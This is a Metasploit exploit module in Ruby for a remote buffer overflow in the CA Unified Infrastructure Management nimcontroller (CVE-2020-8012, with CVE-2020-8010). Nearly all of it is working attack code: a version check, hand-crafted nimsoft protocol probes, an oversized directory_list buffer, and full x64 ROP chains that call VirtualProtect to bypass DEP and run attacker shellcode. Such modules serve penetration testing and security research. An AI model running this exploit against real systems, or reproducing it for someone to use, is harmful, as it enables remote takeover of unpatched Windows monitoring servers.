This Metasploit module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller. The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list probe. Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the directory_list probe.
ffc98387b67aad159a485c22345cee2d##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.
The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list
probe.
Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
directory_list probe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'wetw0rk' # Vulnerability Discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)
[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE
[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],
[ 'PACKETSTORM', '156577' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'AUTORUNSCRIPT' => 'post/windows/manage/migrate'
},
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => ARCH_X64,
'Targets' =>
[
[
'Windows Universal (x64) - v7.80.3132',
{
'Platform' => 'win',
'Arch' => [ARCH_X64],
'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]',
'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]
}
],
],
'Privileged' => true,
'Notes' => { 'Stability' => [ CRASH_SAFE ] },
'DisclosureDate' => 'Feb 05 2020',
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),
Opt::RPORT(48000),
]
)
end
# check: there are only two prerequisites to getting code execution. The version number
# and access to the directory_list probe. The easiest way to get this information is to
# ask nicely ;)
def check
connect
sock.put(generate_probe('get_info', ['interfaces=0']))
response = sock.get_once(4096)
list_check = -1
begin
if target['Version'].in? response
print_status("Version #{target['Version']} detected, sending directory_list probe")
sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))
list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])
end
ensure
disconnect
end
if list_check == 0
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
super
connect
shellcode = make_nops(500)
shellcode << payload.encoded
offset = rand_text_alphanumeric(1000)
offset += "\x0f" * 33
heap_flip = [target.ret].pack('<Q*')
alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain
rop_chain = generate_rsp_chain # Stage1: Stack alignment
rop_chain += rand_text_alphanumeric(631) # Adjust for second stage
rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub
rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail
rop_chain.length
))
rop_chain += "kernel32.dll\x00"
rop_chain += "VirtualProtect\x00"
trigger = "\x10" * (8000 - (
offset.length +
heap_flip.length +
alignment.length +
rop_chain.length +
shellcode.length
)
)
buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger
exploit_packet = generate_probe(
'directory_list',
["directory=#{buffer}"]
)
sock.put(exploit_packet)
disconnect
end
# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
def generate_rsp_chain
rop_gadgets = [0x0000000140018c42] * 20 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400af237, # pop rdi ; ret
0x0000000000000007, # alignment for rsp
0x0000000140025dab
] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
return rop_gadgets.pack('<Q*')
end
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
def generate_rop_chain
# RAX -> HMODULE GetModuleHandleA(
# ( RCX == *module ) LPCSTR lpModuleName,
# );
rop_gadgets = [0x0000000140018c42] * 15 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x00000000000009dd, # offset to "kernel32.dll"
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)
0x00000001400d1161
] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
rop_gadgets += [0x0000000140018c42] * 17 # ret
# RAX -> FARPROC GetProcAddressStub(
# ( RCX == &addr ) HMODULE hModule,
# ( RDX == *module ) lpProcName
# );
rop_gadgets += [
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x0000000000000812, # offset to "virtualprotectstub"
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]
# mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret
rop_gadgets += [
0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 6 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x000000014015e318
] # GetProcAddressStub (0x00000000014015e338-20)
rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
rop_gadgets += [0x0000000140018c42] * 17 # ret
# RAX -> BOOL VirtualProtectStub(
# ( RCX == *shellcode ) LPVOID lpAddress,
# ( RDX == len(shellcode) ) SIZE_T dwSize,
# ( R8 == 0x0000000000000040 ) DWORD flNewProtect,
# ( R9 == *writeable location ) PDWORD lpflOldProtect,
# );
rop_gadgets += [
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
0x000000014013d651, # pop r12 ; ret
0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
0x00000001400eba74
] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret
0x0000000000000000
]
rop_gadgets += [
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x000000000000059f, # (offset to *shellcode)
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
rop_gadgets += [
0x00000001400496a2, # pop rdx ; ret
0x00000000000005dc
] # dwSize
rop_gadgets += [
0x00000001400bc39c, # pop r8 ; ret
0x0000000000000040
] # flNewProtect
rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
rop_gadgets += [0x0000000140018c42] * 17 # ret
rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]
# mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
rop_gadgets += [0x0000000140018c42] * 20 # ret
rop_gadgets += [
0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
0x0000000000000000, # (zero out rax)
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000, #
0x0000000000000000
] #
rop_gadgets += [0x0000000140018c42] * 10 # ret
rop_gadgets += [
0x0000000140131643, # pop rcx ; ret
0x0000000000000317, # (offset to our shellcode)
0x000000014006d8d8
] # add rax, rcx ; add rsp, 0x38 ; ret
rop_gadgets += [0x0000000140018c42] * 15 # ret
rop_gadgets += [0x00000001400a9747] # jmp rax
rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)
return rop_gadgets.pack('<Q*')
end
# parse_listing: once the directory_list probe is sent we're returned a directory listing
# unfortunately it's hard to read this simply "decodes" it
def parse_listing(response, directory)
result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
i = 0
begin
dirlist = response.split('\x00')[0].split("\x00")
index = dirlist.index('entry') + 3
final = dirlist[index..-1]
rescue StandardError
print_error('Failed to gather directory listing')
return -1
end
print_line("\n Directory of #{directory}\n")
check = 0
name = 0
ftime = 0
size = 0
ftype = 0
while i < final.length
if name == 1
unless final[i].to_i > 0
result['name'] = final[i]
name = 0
check += 1
end
end
if size >= 1
if size == 3
result['size'] = final[i]
size = 0
check += 1
else
size += 1
end
end
if ftype >= 1
if ftype == 3
result['type'] = final[i]
ftype = 0
check += 1
else
ftype += 1
end
end
if ftime >= 1
if ftime == 3
result['date'] = final[i]
ftime = 0
check += 1
else
ftime += 1
end
end
if final[i].include? 'name'
name = 1
end
if final[i].include? 'size'
size = 1
end
if final[i].include? 'size'
ftype = 1
end
if final[i].include? 'last_modified'
ftime = 1
end
i += 1
next unless check == 4
if result['type'] == '2'
result['type'] = ''
else
result['type'] = '<DIR>'
result['size'] = ''
end
begin
time = Time.at(result['date'].to_i)
timestamp = time.strftime('%m/%d/%Y %I:%M %p')
rescue StandardError
timestamp = '??/??/???? ??:?? ??'
end
print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))
check = 0
end
print_line('')
return 0
end
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
# craft probes in order for the controller to accept any input.
def generate_probe(probe, args)
client = "#{rand_text_alphanumeric(14)}\x00"
packet_args = ''
probe += "\x00"
for arg in args
c = ''
i = 0
while c != '='
c = arg[i]
i += 1
end
packet_args << "#{arg[0, (i - 1)]}\x00"
packet_args << "1\x00#{arg[i..-1].length + 1}\x00"
packet_args << "#{arg[i..-1]}\x00"
end
packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)
packet_body = "mtype\x00" # mtype
packet_body << "7\x004\x00100\x00" # 7.4.100
packet_body << "cmd\x00" # cmd
packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)
packet_body << probe # probe
packet_body << "seq\x00" # seq
packet_body << "1\x002\x000\x00" # 1.2.0
packet_body << "ts\x00" # ts
packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)
packet_body << "frm\x00" # frm
packet_body << "7\x00#{client.length}\x00" # 7.(length of client)
packet_body << client # client address
packet_body << "tout\x00" # tout
packet_body << "1\x004\x00180\x00" # 1.4.180
packet_body << "addr\x00" # addr
packet_body << "7\x000\x00" # 7.0
#
# probe packet arguments (dynamic)
# argument
# length of arg value
# argument value
packet_header << "#{packet_body.length} #{packet_args.length}\r\n"
probe = packet_header + packet_body + packet_args
return probe
end
end